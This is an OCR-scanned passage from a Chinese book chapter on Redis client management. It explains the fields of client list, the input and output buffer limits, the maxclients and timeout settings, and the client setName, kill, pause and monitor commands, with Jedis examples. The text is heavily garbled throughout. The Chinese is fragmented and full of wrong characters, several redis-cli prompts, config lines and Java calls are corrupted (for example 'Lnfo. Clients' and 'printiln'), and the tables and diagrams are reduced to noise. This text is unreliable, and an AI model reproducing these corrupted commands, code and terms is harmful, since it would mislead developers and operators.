.id: 客户 端 连接 的 唯一 标识 ， 这 个 id 是 随 着 Redis 的 连接 自 增 的 ， 重 启 
Redis 后 会 重 置 为 0。 


addr: 客户 端 连 接 的 p 和 端口 。 
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:人 各 : socket 的 文件 摘 述 符 ， 与 lsof 命 令 结果 中 的 伺 是 同一 个 ， 如 果 fdq=-1 
代表 当前 客户 端 不 是 外 部 客户 端 ， 而 是 Redis 内 部 的 伪装 客户 端 。 





-name: 客户 端的 名 字 ， 后 面 的 client setName 和 client getName 两 个 命令 
会 对 其 进行 说 明 。 


(2) 输入 缓冲 区 : qbuf、qbuffree 


Redis 为 每 个 客户 站 分 配 了 输入 缓冲 区 ， 它 的 作用 是 将 客户 站 太 送 的 命 
令 临 时 保存 ， 同 时 Redis 从 会 输入 缓冲 区 拉 取 命令 并 执行 ， 输 入 缓冲 区 为 客 
尸 端 发 送 命 令 到 Redis 执 行 命令 提供 了 缓冲 功能 ， 如 图 4-5 所 示 。 





client list 中 qbuf 和 qbuf-free 分 别 代 表 这 个 缓冲 区 的 总 容量 和 剩余 容量 ， 
Redis 没 有 提供 相应 的 配置 来 规定 每 个 缓冲 区 的 大 小 ， 输 入 缓冲 区 会 根据 输 
入 内 容 大 小 的 不 同 动 态 调整 ， 只 是 要 求 每 个 客户 端 缓 冲 区 的 大 小 不 能 超过 
1G， 超 过 后 客户 端 将 被 关闭 。 下 面 是 Redis 源 码 中 对 于 输入 缓冲 区 的 硬 编 
但 : 





图 4-5 ”输入 缓冲 区 基本 模型 





/* Protocol and I/O related defines */ 
#define REDIS MAX QUERYBUF LEN (1024*1024*1024) /* 1GB max query buffer. */ 




















输入 缓冲 使 用 不 当 会 产生 两 个 问题 : 
-一旦 茶 个 客户 端的 输入 缓冲 区 超过 1G， 客 户 端 将 会 被 天 闭 。 


-输入 缓冲 区 不 受 maxmemory 控 制 ， 假 设 一 个 Redis 实 例 设置 了 
maxmemory 为 4G， 已 经 存储 了 2G 数 据 ， 但 是 如 果 此 时 输入 缓冲 区 使 用 了 
3G， 已 经 超过 maxmemory 限 制 ， 可 能 会 产生 数据 丢失 、 键 值 淘汰 、OOM 等 
情况 《如 图 4-6 所 示 ) 。 


Re 


client-1 
Te 
maxmemory:4G client-2 | 
| 输入 缓冲 区 
3G 
client-N 





图 4-6 ”输入 缓冲 区 超过 了 maxmemory 


执行 效果 如 下 : 
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127.0.0.1:6390> info memory 
# Memory 
used memory human:5.00G 


maxmemory human:4.00G 





上 面 已 经 看 到 ， 输 入 缓冲 区 使 用 不 当 造 成 的 危害 非常 大 ， 那 么 造成 输入 
缓冲 区 过 大 的 原因 有 哪些 ?输入 缓冲 区 过 大 主要 是 因为 Redis 的 处 理 速度 跟 
不 上 输入 缓冲 区 的 输入 速度 ， 并 且 每 次 进入 输入 缓冲 区 的 命令 包含 了 大 量 
bigkey， 从 而 造成 了 输入 缓冲 区 过 大 的 情况 。 还 有 一 种 情况 就 是 Redis 发 生 了 
阻塞 ， 短 期 内 不 能 处 理 命 令 ， 造 成 客户 端 输入 的 命令 积压 在 了 输入 绥 训 区 ， 
造成 了 输入 缓冲 区 过 大 。 














那么 如 何 快速 发 现 和 监控 呢 ? 监控 输入 缓冲 区 异 币 的 方法 有 两 种 : 


通过 定期 执行 client list 命 令 ， 收 集 qbuf 和 qbuf-free 找 到 异常 的 连接 记录 
并 分 析 ， 最 终 找到 可 能 出 问题 的 客户 端 


:通过 info 命 令 的 info clients 模 块 ， 找 到 最 大 的 输入 绥 冲 区 ， 例 如 下 面 命 
令 中 的 其 中 client biggest_input_buf 代 表 最 大 的 输入 绥 冲 区 ， 例 如 可 以 设置 超 
过 10M 就 进行 报警 : 








12 OO:63 L902 Lnto .clients 
# Clients 

connected clients:1414 
client longest output list:0 
client biggest input buf:2097152 
blocked clients:0 














这 两 种 方法 各 有 目 己 的 优 务 势 ， 表 4-3 对 两 种 方法 进行 了 对 比 。 


表 4-3” ”对比 client list 和 info clients 监 控 输 入 缓冲 区 的 优 劣 势 
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缺 ”点 


能 精准 分 析 每 个 客户 端 来 定位 | 执行 速度 较 慢 (尤其 在 连接 数 较 多 的 情况 下 )， 频 繁 执 
client list 


问题 行 存在 阻塞 Redis 的 可 能 

执行 速度 比 client List 快 ,| 不 能 精准 定位 到 客户 端 

info clients A SR Ms ss :Rp i es a 要 
分 析 过 程 较为 简单 不 能 显示 所 有 输入 缓冲 区 的 总 量 ， 只 能 显示 最 大 量 
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输入 缓冲 区 问题 出 现 概率 比较 低 ， 但 是 也 要 做 好 防范 ， 在 开发 中 要 减少 
bigkey、 减 少 Redis 阻 塞 、 合 理 的 监控 报警 。 


(3) 输出 缓冲 区 : obl、oll、omem 


Redis 为 每 个 客户 关 分 配 了 输出 缓冲 区 ， 它 的 作用 是 保存 命令 执行 的 结 
果 人 返回 给 客户 端 ， 为 Redis 和 客户 站 交互 返回 结果 提供 缓冲 ， 如 图 4-7 所 示 。 


与 输入 缓冲 区 不 同 的 是 ， 输 出 缓冲 区 的 容量 可 以 通过 参数 client-output- 
buffer-limit 来 进行 设置 ， 并 且 输 出 缓冲 区 做 得 更 加 细致 ， 按 照 客户 端的 不 同 
分 为 三 种 : 普通 客户 器 、 发 布 订阅 客户 器 、slave 客 户 端 ， 如 网 4-8 所 示 。 























1 Redis 1 
! | 
0 | 
| 客户 端 -1 | -一 一 | pong,OFK,1.… | | 
相 1 | 
| 1 
ES I I 
| 客户 疗 -2 | 针 OK,world,5000…: j= 结 时 输出 外 
| 1 
ll : 

| 
| 客户 端 -3 和 | A | . 
i | 0 | 
| | 
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图 4-7 客户 端 输出 缓冲 区 模型 


1 Redis 


CCC 人 CO | EE 
| 普通 客户 端 人 


由布 订 间 客 户 北 > 户 安 布 订阅 宅 户 妆 | 所 一 


1 2 ee ns 
1 
| rn ban 复制 输出 鱼 冲 区 | 
ee | 
| 





和 
OO ee OO ee ee 


图 4-8 ”三 种 不 同类 型 客户 端的 输出 缓冲 区 


对 应 的 配置 规则 是 : 





client-output-buffer-limit <class> <hard limit> <soft limit> <soft seconds> 





<class>: 客户 端 类 型 ， 分 为 三 种 。a) normal: 普通 客户 端 ; b) 
slave: slave 客 户 端 ， 用 于 复制 ; c) pubsub: 发 布 订 阅 客户 端 。 


<hard limit>: 如 果 客 户 端 使 用 的 输出 缓冲 区 大 于 <hard limi 亿 ， 客 户 端 
会 被 立即 关闭 。 


<soft limit> 和 <soft seconds>: 如 果 客 户 端 使 用 的 输出 缓冲 区 超过 了 <sof 
limi 伺 并且 持 续 了 <softlimi 他 秒 ， 客 户 端 会 被 立即 关闭 。 


Redis 的 默认 配置 是 : 
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O 〇 


lient-output-buffer-limit normal 0 0 0 
lient-output-buffer-limit slave 256mb 64mb 60 
client-output-buffer-limit pubsub 32mb 8mb 60 


QA 











和 输入 缓冲 区 相同 的 是 ， 输 出 缓冲 区 也 不 会 受到 maxmemory 的 限制 ， 如 
果 使 用 不 当 同 样 会 造成 maxmemory 用 满 产 生 的 数据 丢失 、 键 值 淘汰 、OOM 等 
情况 。 


实际 上 输出 绥 冲 区 由 两 部 分 组 成 : 固定 绥 冲 区 〈16KB) 和 动态 绥 冲 
区 ， 其 中 国定 缓冲 区 返回 比较 小 的 执行 结果 ， 而 动态 缓冲 区 返回 比较 大 的 结 
果 ， 例 如 大 的 字符 串 、hsgetall、smembers 命 令 的 结果 等 ， 通 过 Redis 源 码 中 
redis.h 的 redisClient 结 构 体 〈Redis3.2 版 本 变 为 Client) 可 以 看 到 两 个 缓冲 区 
的 实现 细节 : 





typedef struct redisClient { 
/ / 动态 缓冲 区 列表 
list *reply; 
/ / 动态 缓冲 区 列表 的 长 度 (对 象 个 数 ) 
unsigned long reply bytes; 
/ /” 固 定 缓冲 区 已 经 使 用 的 字 节 数 
int bufpos; 
/ /” 字 节 数 组 作为 固定 缓冲 区 
char buf[REDIS REPLY CHUNK BYTES]; 
} redisClient; 



















































































回 定 缓冲 区 使 用 的 是 字 市 数组 ， 动 态 缓冲 区 使 用 的 是 列表 。 当 固定 缓冲 
区 存 满 后 会 将 Redis 新 的 返回 结果 存放 在 动态 缓冲 区 的 队列 中 ， 队 列 中 的 每 
个 对 象 就 是 每 个 返回 结果 ， 如 图 4-9 所 示 。 
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RedisClient | 
一 一 


char butl ] Ok| | 下 






Int bufpos 





用 尽 合用 
动态 缓冲 区 


list reply 一 一 | 一生 | result-K 一 | result-R 一 -| result-N | 
| 
long reply_bytes | 





Oe ee 
> 


图 4-9 ”输出 缓冲 区 两 个 组 成 部 分 :固定 缓冲 区 和 动态 缓冲 区 


client list 中 的 obl 代 表 固 定 缓 冲 区 的 长 度 ，oll 代 表 动 态 绥 冲 区 列表 的 长 
度 ，omem 人 代表 使 用 的 字 节 数 。 例 如 下 面 代表 当前 客户 端的 固定 缓冲 区 的 长 
上 度 为 0， 动 态 缓冲 区 有 4869 个 对 象 ， 两 个 部 分 共 使 用 了 133081288 字 节 =126M 
内 存 : 








id=7 addr=127.0.0.1:56358 fdq=6 name= age=91 idle=0 flags=O db=0 sub=0 psub=0 mu 
qbuf=0 qbuf-fr 0 obl=0 ol1ll=4869 omem=133081288 events=rw cmd=monitor 











监控 输出 缓冲 区 的 方法 依然 有 两 种 


过 定期 执行 client list 命 令 ， 收 集 obl、oll、omem 找 到 异常 的 连接 记录 
并 分 析 ， 最 终 找到 可 能 出 问题 的 客户 端 。 


:通过 info 命 令 的 info clients 模 块 ， 找 到 输出 缓冲 区 列表 最 大 对 象 数 ， 例 
如 : 





127050 80379> Lnfo. Clients 
# Clients 

connected clients:502 
client longest output list:4869 
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client biggest input buf:0 
blocked clients:0 








其 中 ，client longest_output list 代 表 输 出 缓冲 区 列表 最 大 对 象 数 ， 这 两 
种 统计 方法 的 优 劣势 和 输入 缓冲 区 是 一 样 的 ， 这 里 束 不 再 痪 述 了 。 相 比 于 输 
入 缓冲 区 ， 输 出 缓冲 区 出 现 寞 利 的 概率 相对 会 比较 大 ， 那 么 如 何 预防 呢 ? 方 
法 如 下 : 


:进行 上 述 监 控 ， 设 置 准 值 ， 超 过 阀 值 及 时 处 理 。 


.限制 普通 客户 端 输 出 缓冲 区 的 ， 把 错误 扼杀 在 摇篮 中 ， 例 如 可 以 进行 
如 下 设置 : 





client-output-buffer-limit normal 20mb 10mb 120 





.适当 增 大 slave 的 输出 缓冲 区 的 ， 如 果 master 节 点 写 入 较 大 ，slave 客 户 
端的 输出 缓冲 区 可 能 会 比较 大 ， 一 旦 slave 客 户 端 连 接 因为 输出 缓冲 区 溢出 
被 Kill， 会 造成 复制 重 连 


限制 容易 让 输出 缓冲 区 增 大 的 命令 ， 例 如 ， 蜗 并 及 下 的 monitor 命 令 束 
古 一 个 危险 的 命令 。 





及 时 监控 内 存 ， 一 旦 发 现 内 存 抖动 频繁 ， 可 能 吏 是 输出 缓冲 区 过 大 。 
(4) 客户 端的 存活 状态 


client list 中 的 age 和 idle 分 别 代表 当前 客户 端 已 经 连接 的 时 间 和 最 近 一 次 
的 空闲 时 间 : 





id=2232080 addr=10.16.xx.55:32886 fd=946 name= age=603382 idle=331060 flags=N d 
sub=0 psub=0 multi=-1 qbuf=0 qbuf-fr 0 obl=0 oll=0 omem=0 events=r cmd=g 
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例如 上 面 这 条 记录 代表 当期 客户 端 连接 Redis 的 时 间 为 603382 秒 ， 其 中 
空 亲 了 331060 秒 : 





id=254487 addr=10.2.xx.234:60240 fdq=1311 name= age=8888581 idle=8888581 flags=N 
sub=0 psub=0 multi=-1 qbuf=0 qbuf-fr 0 obl=0 oll=0 omem=0 events=r cmd=g 











例如 上 面 这 条 记录 代表 当期 客户 端 连接 Redis 的 时 间 为 8888581 秒 ， 其 中 
空 采 了 8888581 秒 ， 实 际 上 这 种 就 属于 不 太 正 常 的 情况 ， 当 age 等 于 idle 时 ， 
说 明 连 接 一 直 处 于 空闲 状态 。 





为 了 更 加 直观 地 描述 age 和 idle， 下 面 用 一 个 例子 进行 说 明 : 





String key = "hello"; 

// 1) 生成 jedis， 并 执行 ge 七 操作 

Jedis jedis = new Jedis("127.0.0.1", 6379); 
System.out .println (jedis.get (key)); 

// 2) 休息 10 秒 

TimeUnit.SECONDS.sleep (10); 

// 3) 执行 新 的 操作 ping 

System.out.println (jedis.ping()); 

// 4) 休息 5 秒 
TimeUnit.SECONDS.sleep (5); 
// 5) 关闭 jedis 连 接 
jedis.close(); 




















下 面 对 代 码 中 的 每 一 步 进 行 分 析 ， 用 client list 命 令 来 观察 age 和 idle 参 数 
的 相应 变化 。 


Os 
为 了 与 redis-cli 的 客户 端 区 分 ， 本 次 测试 客户 端 人 地址 : 10.7.40.98。 


1) 在 执行 代码 之 前 ，client list 只 有 一 个 客户 端 ， 也 就 是 当前 的 redis- 
cli， 下 面 为 了 节省 篇 幅 忽 略 掉 这 个 客户 端 。 
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127.0.0.1:6379> client list 
id=45 addr=127.0.0.1:55171 fd=6 name= age=2 idle=0 flags=N db=0 sub=0 psub=0 
multi=-1 qbuf=0 qbuf-free=32768 obl=0 oll=0 omem=0 events=r cmd=client 














2) 使 用 Jedis 生 成 了 一 个 新 的 连接 ， 并 执行 get 操 作 ， 可 以 看 到 人 P 地 址 为 
10.7.40.98 的 客户 端 ， 最 后 执行 的 命令 是 get，age 和 idle 分 别 是 1 秒 和 0 秒 : 





127.0.0.1:6379> client list 
id=46 addr=10.7.40.98:62908 fdq=7 name= age=1 idle=0 flags=N db=0 sub=0 psub=0 
multi=-1 qbuf=0 qbuf-fr 0 obl=0 oll=0 omem=0 events=r cmd=get 




















3) 休 妃 10 秒 ， 此 时 Jedis 客 户 端 并 没有 关闭 ， 所 以 age 和 idle 一 直 在 递 





127.0.0.1:6379> client list 
id=46 addr=10.7.40.98:62908 fdq=7 name= age=9 idle=9 flags=N db=0 sub=0 psub=0 
multi=-1 qbuf=0 qbuf-fr 0 obl=0 oll=0 omem=0 events=r cmd=get 




















4) 执行 新 的 操作 ping， 发 现 执行 后 age 依然 在 增加 ， 而 idle 从 0 计算 ， 也 
就 是 不 再 闲置 : 





127.0.0.1:6379> client list 
id=46 addr=10.7.40.98:62908 fdq=7 name= age=11 idle=0 flags=N db=0 sub=0 psub=0 
multi=-1 qbuf=0 qbuf-fr 0 obl=0 oll=0 omem=0 events=r cmd=ping 




















5) 休息 $ 秒 ， 观 察 age 和 idle 增 加 : 





1270.0.1:6379> client list 
id=46 addr=10.7.40.98:62908 fdq=7 name= age=15 idle=5 flags=N db=0 sub=0 psub=0 
multi=-1 qbuf=0 qbuf-fr 0 obl=0 oll=0 omem=0 events=r cmd=ping 




















6) 关闭 Jedis，Jedis 连 接 已 经 消失 : 








redis-cli client list | grep "10.7.40.98" 为 空 
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(5) 客户 端的 限制 maxclients 和 timeonut 


Redis 提 供 了 maxclients 参 数 来 限制 最 大 客户 端 连 接 数 ， 一 旦 连接 数 超 过 
maxclients， 新 的 连接 将 被 拒绝 。maxclients 默 认 值 是 10000， 可 以 通过 info 
clients 来 查询 当前 Redis 的 连接 数 : 





275020.5 :6378>> Lnfo Clients 
# Clients 
connected clients:1414 





可 以 通过 config set maxclients 对 最 大 客户 端 连接 数 进行 动态 设置 : 





127.0.0.1:6379> config get maxclients 
1) "maxclients" 


127.0.0.1:6379> config set maxclients 50 





127.0.0.1:6379> config get maxclients 
1) "maxclients" 











一 般 来 说 maxclients=10000 在 大 部 分 场景 下 已 经 绝对 够 用 ， 但 是 某 些 情 
况 由 于 业务 方 使 用 不 当 《 例 如 没有 主动 关闭 连接 ) 可 能 存在 大 量 idle 连 接 ， 
无 论 是 从 网 络 连接 的 成 本 还 是 超过 maxclients 的 后 果 来 说 都 不 是 什么 好 事 ， 
因此 Redis 提 供 了 timeout (单位 为 秒 〉 参 数 来 限制 连接 的 最 大 空间 时 间 ， 一 
旦 客户 端 连接 的 idle 时 间 超 过 了 timeout， 连 接 将 会 被 关闭 ， 例 如 设置 timeonut 
为 30 秒 : 














#Redis 默 认 的 timeout 是 0， 也 就 是 不 会 检测 客户 端的 空闲 
127.0.0.1:6379> config set timeout 30 
OK 





下 面 继续 使 用 Jedis 进 行 模拟 ， 整 个 代码 和 上 面 是 一 样 的 ， 只 不 过 
步骤 休息 了 31 秘 : 
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下 


String key = "hello"; 

// 1) 生成 jedis， 并 执行 ge 七 操作 

Jedis jedis = new Jedis("127.0.0.1", 6379); 
System.out.printiln (jedis.get (key)); 
// 2) 休息 31 秒 
TimeUnit.SECONDS.sleep (31); 

// 3) 执行 get 操 作 

System.out.printiln (jedis.get (key)); 
// 4) 休息 5 秒 
TimeUnit.SECONDS.sleep (5); 

// 5) 关闭 jedis 连 接 

jedis.close(); 























执行 上 述 代 码 可 以 发 现在 执行 完 第 2) 步 之 后 ，client list 中 已 经 没有 了 
Jedis 的 连接 ， 也 就 是 说 timeout 已 经 生效 ， 将 超过 30 秒 空闲 的 连接 关闭 掉 : 





L127.0.0.1:6379> elient list 

id=16 addr=10.7.40.98:63892 fdq=6 name= age=19 idle=19 flags=N db=0 sub=0 psub=0 
multi=-1 qbuf=0 qbuf-fr 0 obl=0 oll=0 omem=0 events=r cmd=get 

# 超过 timeout 后 ，Jedis 连 接 被 关闭 

redis-cli client list | grep “10.7.40.98” 为 空 


























同时 可 以 看 到 ， 在 Jedis 代 码 中 的 第 3) 步 抛 出 了 异常 ， 因 为 此 时 客户 端 
已 经 被 关闭 ， 所 以 抛 出 的 异常 是 JedisConnectionException， 并 且 提 示 


Unexpected end of stream: 





streanm: 

world 

Exception in thread "main" redis.clients.jedis.exceptions.JedisConnectionExcept 
Unexpected end of streanm. 














如 果 将 Redis 的 loglevel 设 置 成 debug 级 别 ， 可 以 看 到 如 下 日 志 ， 也 就 是 客 
户 端 被 Redis 关 闭 的 日 志 : 





12885:M 26 Aug 08:46:40.085 - Closing idle client 








Redis 源 码 中 redis.c 文 件 中 clientsCronHandleTimeout 函 数 就 是 针对 timeonut 
参数 进行 检验 的 ， 只 不 过 在 源码 中 timeout 被 赋值 给 了 server.maxidletime: 
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int clientsCronHandleTimeout (redisClient xc) 1{ 
/ / 当前 时 间 
time t now = server.unixtime; 

// server .maxidletime 就 是 参数 tijmeout 
if (server.maxidletime && 
/ / ”很 多 客户 端 验证 ， 这 里 就 不 占用 篇 幅 ， 最 重要 的 验证 是 下 面 空 闪 时 间 超过 了 maxidletime 就 会 
/ / ”被 关闭 掉 客户 端 
(now - c->lastinteraction > server.maxidletime)) 






































redisLog (REDIS VERBOSE,"Closing idle client"); 
/ / 关闭 客户 端 
freeClient (c); 














Redis 的 默认 配置 给 出 的 timeouF=0， 在 这 种 情况 下 客户 端 基本 不 会 出 现 
上 面 的 异常 ， 这 是 基于 对 客户 端 开发 的 一 种 保护 。 例 如 很 多 开发 人 员 在 使 用 
JedisPool 时 不 会 对 连接 池 对 象 做 空闲 检测 和 验证 ， 如 果 设 置 了 timeouf>0， 可 
能 就 会 出 现 上 面 的 异常 ， 对 应 用 业务 造成 一 定 影响 ， 但 是 如 果 Redis 的 客户 
端 使 用 不 当 或 者 客户 端 本 身 的 一 些 问题 ， 造 成 没有 及 时 释放 客户 端 连接 ， 可 
能 会 造成 大 量 的 idle 连 接 占据 着 很 多 连接 资源 ， 一 旦 超过 maxclients; 后 果 也 
是 不 堪 设 想 。 所 在 在 实际 开发 和 运 维 中 ， 需 要 将 timeout 设 置 成 大 于 0， 例 如 
可 以 设置 为 300 秒 ， 同 时 在 客户 端 使 用 上 添加 空闲 检测 和 验证 等 等 措施 ， 例 
如 JedisPool 使 用 common-pool 提 供 的 三 个 属性 : minEvictableldleTimeMillis、 














testWhileIldle、timeBetweenEvictionRunsMillis，4.2 节 已 经 进行 了 说 明 ， 这 里 
束 不 再 著述 。 


(6) 客户 端 类 型 


client list 中 的 flag 是 用 于 标识 当前 客户 端的 类 型 ， 例 如 flag=S 代 表 当 前 客 
户 端 是 slave 客 户 端 、flas=N 代 表 当 前 是 普通 客户 端 ，flas=O 代 表 当 前 客户 端 
正在 执行 monitor 命 令 ， 表 4-4 列 出 了 11 种 客户 端 类 型 。 
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说 明 


村 
iD | 一 Ju 
啊 
也 
莱 
状 
由 





普通 客户 端 

M 当前 客户 端 是 master 节点 
3 当前 客户 端 是 slave 节点 
4 oo | 当前 客户 端正 在 执行 monitor 命令 
5 当前 客户 端正 在 执行 事务 
6 当前 客户 端正 在 等 待 阻塞 事件 
7 当前 客户 端正 在 等 待 VM VO， 但 是 此 状态 目前 已 经 废弃 不 用 
8 一 个 受 监 视 的 键 已 被 修改 ，EXEC 命令 将 失败 
9 客户 端 未 被 阻塞 
10 回复 完整 输出 后 ， 关 闭 连接 
11 尽 可 能 快 地 关闭 连接 


(7) 其 他 


上 面 已 经 将 client list 中 重要 的 属性 进行 了 说 明 ， 表 4-5 列 出 之 前 介绍 过 
以 及 一 些 比较 简单 或 者 不 太 重要 的 属性 。 


表 4-5 client list 命 令 结果 的 全 部 属性 


序号 参 数 rs 本 
: 客户 端 连接 id 
EE 客户 端 连 接 下 和 端口 


LU 
Hh 
只 


ny 
| 酒 。 
Q, 


socket 的 文件 描述 符 
4 name 客户 端 连接 名 
5 


客户 端 连接 存 活 时 间 


Ke 
Tt 
~ 


参 


Eg 


对 
洪 
wv 
X 冯 


号 

6 客户 端 连接 空闲 时 间 

7 客户 端 类 型 标识 

8 db 当前 客户 端正 在 使 用 的 数据 库 索 引 下 标 

9 当前 客户 端 订阅 的 频道 或 者 模式 数 

10 当前 事务 中 已 执行 命令 个 数 

1 输入 缓冲 区 总 容量 

12 输入 缓冲 区 剩余 容量 

13 司 定 缓冲 区 的 长 度 

14 动态 缓冲 区 列表 的 长 度 

15 固定 缓冲 区 和 动态 缓冲 区 使 用 的 容量 

16 文件 描述 符 事 作 件 (z/w): r 和 w 分别 代表 客户 端 套 接 字 可 读 和 可 写 
17 cma 当前 客户 端 最 后 一 次 执行 的 命令 ， 不 包含 参数 
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2.client setName 和 client getName 





lient setName xx 
client getName 


QA 











client setName 用 于 给 客户 端 设置 名 字 ， 这 样 比 较 容 易 标 识 出 客户 病 的 来 
源 ， 例 如 将 当前 客户 端 命名 为 test_client， 可 以 执行 如 下 操作 : 








127.0.0.1:6379> client setName test client 
OK 





此 时 再 执行 client list 命 令 ， 就 可 以 看 到 当前 客户 端的 name 属 性 为 


test_client: 





1271.0.0.1:6379> elient list 
id=55 addr=127.0.0.1:55604 fd=7 name=test client age=23 idle=0 flags=N db=0 sub 
psub=0 multi=-1 qbuf=0 qbuf-free=32768 obl=0 oll=0 omem=0 events=r cmd=cli 











如 果 想 直接 但 看 当前 客户 问 的 name， 可 以 使 用 client getName 命 令 ， 例 如 
下 面 的 操作 : 








127.0.0.1:6379> client getName 
"test ClisntY 








client getName 和 setName 命 令 可 以 做 为 标识 客户 端 来 源 的 一 种 方式 ， 但 
是 通常 来 讲 ， 在 Redis 只 有 一 个 应 用 方 使 用 的 情况 下 ， 卫 和 端口 作为 标识 会 
更 加 清晰 。 当 多 个 应 用 方 共同 使 用 一 个 Redis， 那 么 此 时 client setName 可 以 
作为 标识 客户 端的 一 个 依据 。 





3.client kill 





client kill ip:port 
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此 命令 用 于 杀 挥 指定 P 地 址 和 端口 的 客户 端 ， 例 如 当前 客户 并 列表 为 : 





127.0.0.1:6379> client list 

id=49 addr=127.0.0.1:55593 fd=6 name= age=9 idle=0 flags=N db=0 sub=0 psub=0 
multi=-1 qbuf=0 qbuf-free=32768 obl=0 oll=0 omem=0 events=r cmd=client 

id=50 addr=127.0.0.1:52343 fd=7 name= age=4 idle=4 flags=N db=0 sub=0 psub=0 
multi=-1 qbuf=0 qbuf-fr 0 obl=0 oll=0 omem=0 events=r cmd=get 












































如 果 想 杀 掉 127.0.0.1: 52343 的 客户 端 ， 可 以 执行 : 





1271:0.0.1:63719> client kill 127.0.0.1:52343 
OK 





执行 命令 后 ，client list 结 果 只 剩 下 了 127.0.0.1: 55593 这 个 客户 站 : 





127.0.061L:6379> cLlient List 
id=49 addr=127.0.0.1:55593 fd=6 name= age=9 idle=0 flags=N db=0 sub=0 psub=0 
multi=-1 qbuf=0 qbuf-free=32768 obl=0 oll=0 omem=0 events=r cmd=client 














由 于 一 些 原因 (例如 设置 timeout=0 时 产生 的 长 时 间 idle 的 客户 端 ) ， 需 
要 手动 杀 掉 客户 端 连接 时 ， 可 以 使 用 client kill 命 令 。 


4.client pause 





client pause timeout (毫秒 ) 





如 图 4-10 所 示 ，client pause 命 令 用 于 阻塞 客户 端 tmeout 坚 秒 数 ， 在 此 期 
间 客 户 端 连 接 将 被 阻塞 。 
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client-1] | 









| client-2 | 


iInaster 受 制 slave 


client-K 


1 












和 FF / 吝 
-时 


Jienkt: Bause a 
3 000 晶 秘 


00( 


client-R. 


图 4-10 ”client pause 命 令 示 意图 


~ 
S 
i 
2 


| client-N 


例如 在 一 个 客户 端 执行 : 





127.0.0.1:6379> client pause 10000 
OK 





在 另 一 个 客户 端 执行 ping 命 令 ， 发 现 整 个 ping 命 令 执 行 了 9.72 秒 〈 手 动 
执行 redis-cli ， 只 为 了 演示 ， 不 代表 真实 执行 时 间 ) : 








二 2 00 二 6379 六 三 主 mg 





该 命令 可 以 在 如 下 场景 起 到 作用 : 
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client pause 只 对 普通 和 发 布 订阅 客户 问 有 效 ， 对 于 主 从 复制 (从 而 点 
内 部 伪装 了 一 个 客户 端 ) 是 无 效 的 ， 也 就 是 此 期 间 主 从 复制 是 正常 进行 的 ， 
所 以 此 命令 可 以 用 来 让 主 从 复制 保持 一 致 。 





client pause 可 以 用 一 种 可 控 的 方式 将 客户 端 连接 从 一 个 Redis 节 点 切换 
到 另 一 个 Redis 节 点 。 





需要 注意 的 是 在 生产 环境 中 ， 和 暂停 客 户 端 成 本 非常 高 。 
S$.monitor 


monitor 命 令 用 于 监控 Redis 正 在 执行 的 命令 ， 如 图 4-11 所 示 ， 我 们 打开 
了 两 个 redis-cli， 一 个 执行 set get ping 命 令 ， 男 一 个 执行 monitor 命 令 。 可 以 看 
到 monitor 命 令 能 够 监听 其 他 客户 端正 在 执行 的 命令 ， 并 记录 了 详细 的 时 间 








“J]:、_1: 小 3 子 人 A 信 。 人 
redis-cli 普通 命令 redis-cli monitor 命 今 





$ redis-cli 
$ redis-cli nen 6379> . 
127.0.,0,1:6379> set hello world Ci es OE 
SE [472513599.754326 [10 127.0.0.1:563351 
127.0.0.1:6379> get hello - - 
， 下 "set" "hello" "world" 
world es a a 
s . 1472513601.305303 |0 127.0.0.1:56335 
127,0,0,1:6379> ping "oe on - 
PONG get 1e pe _ | 
1472513605,514383 [0 127.0,0.1:56335 | 
"ping" 








图 4-11 ”monitor 命 令 演 示 


monitor 的 作用 很 明显 ， 如 果 开 发 和 运 维 人 员 想 监听 Redis 正 在 执行 的 命 
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令 ， 就 可 以 用 monitor 命 令 ， 但 事实 并 非 如 此 美好 ， 每 个 客户 端 都 有 上 自己 的 


输出 缓冲 区 ， 既 然 monitor 能 监听 到 所 有 的 命令 ， 一 旦 Redis 的 并 发 量 过 大 ， 
monitor 客 户 端 的 输出 缓冲 会 暴涨 ， 可 能 瞬间 会 占用 大 量 内 存 ， 图 4-12 展 示 了 


monitor 命 令 造成 大 量 内 存 使 用 。 














ee 


maxImemory:4(z 客户 端 1~N 命 今 | 





used:2G 





图 4-12 ”高 并 发 下 monitor 命 令 使 用 大 量 输出 缓冲 区 
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4.4.2 ”客户 端 相 关 配 置 


4.4.1 节 已 经 介绍 了 部 分 关于 客户 端的 配置 ， 本 节 将 对 剩余 配置 进行 介 


Dd 


timeout: 检测 客户 端 空 闪 连接 的 超时 时 间 ， 一 旦 idle 时 间 达 到 了 
timeout， 客 户 端 将 会 被 关闭 ， 如 下 设置 为 0 就 不 进行 检测 。 


maxclients: 客户 端 最 大 连接 数 ，4.4.1 节 中 的 客户 端 存 活 状 态 部 分 已 
进行 分 析 ， 这 里 不 再 歼 述 ， 但 是 这 个 参数 会 受到 操作 系统 设置 的 限制 ， 
章 Linux 相 关 配 置 小 节 还 会 对 这 个 参数 进行 介绍 。 


VS 


:tcp-keepalive: 检测 TCP 连 接 活性 的 周期 ， 默 认 值 为 0， 也 就 是 不 进行 
检测 ， 如 果 需 要 设置 ， 建 议 为 60， 那 么 Redis 会 每 隔 60 秒 对 它 创建 的 TCP 连 
接 进行 活性 检测 ， 防 止 大 量 死 连接 占用 系统 资源 。 


tcp-backlog: TCP 三 次 握手 后 ， 会 将 接受 的 连接 放 入 队列 中 ，tep- 
backlog 就 是 队列 的 大 小 ， 它 在 Redis 中 的 默认 值 是 511。 通 常 来 讲 这 个 参数 不 
需要 调整 ， 但 是 这 个 参数 会 受到 操作 系统 的 影响 ， 例 如 在 Linux 操 作 系统 
中 ， 如 果 /proc/sys/net/core/somaxconn 小 于 tcp-backlog， 那 么 在 Redis 启 动 时 会 
看 到 如 下 日 志 ， 并 建议 将 /proc/sys/net/core/somaxconn 设 置 更 大 。 





# WARNING: The TCP backlog setting of 511 cannot b nforced because /proc/ 
sys/net/core/somaxconn is set to the lower value of 128. 











修改 方法 也 非常 简单 ， 只 需要 执行 如 下 命令 





echo 511 > /proc/sys/net/core/somaxconn 
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4.4.3 客户 端 统计 片段 


例如 下 面 就 是 一 次 info clients 的 执行 结果 : 





及 3 Lnto Clients 
# Clients 

connected clients:1414 
client Longest output list:0 
client biggest input buf:2097152 
blocked clients:0 











说 明 如 下 : 


1 ) connected_clients: 代表 当前 Redis 市 点 的 客户 端 连接 数 ， 需 要 重点 监 
控 ， 一 旦 超过 maxclients， 新 的 客户 端 连接 将 被 拒绝 。 


2) client longest_output list: 当前 所 有 输出 缓冲 区 中 队列 对 象 个 数 的 最 
大 值 。 


